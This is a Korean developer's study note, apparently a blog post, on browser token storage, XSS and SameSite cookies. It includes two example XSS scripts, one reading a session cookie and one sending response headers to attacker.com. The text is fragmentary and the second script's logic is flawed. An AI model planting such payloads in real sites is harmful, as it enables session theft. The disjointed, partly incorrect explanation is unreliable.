기존에 사용하던 토큰에 대한 보한 설정이 더 필요하게 되면서, 토큰을 어디에 저장하면 좋을지 스터디한 내용을 기록한다.
브라우저는 대표적으로 3가지 저장소를 가지고 있다.
XSS(Cross Site Script) 공격: 공격자가 웹사이트에 악성 스크립트를 삽입하여 피해자의 브라우저에서 실행하도록 유도하는 공격
dom 에 직접 접근해서 데이터를 탈취할 수 있다.
(redux의 경우 widow 객체에 저장하므로 접근 방법만 알면 탈취 가능)
// 게시판에 아래와 같은 스크립트를 저장/게시.
<script>
var sessionId = document.cookie.match("sessionid=(.*?);")[1];
alert(sessionId);
</script>

3. 해결방법 : SameSite 옵션 설정
SameSite 옵션 : 사용자가 사이트 외부에서 요청을 보낼 때, `samesite=strict` 옵션이 있는 쿠키는 절대로 전송되지 않음
웹에서 사용하는 표준화된 인증
XSS 탈취 가능 : Cross-Origin 체크 필요.
<script>
// Authorization 값을 탈취합니다.
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://example.com/api/users", true);
xhr.send();
// Authorization 값을 공격자에게 전송합니다.
window.location.href = "https://attacker.com/?headers=" + JSON.stringify(xhr.getAllResponseHeaders());
</script>
참고: https://ko.javascript.info/cookie
GPT/Bard 에게 물어본 내용 다수, 기타 웹서핑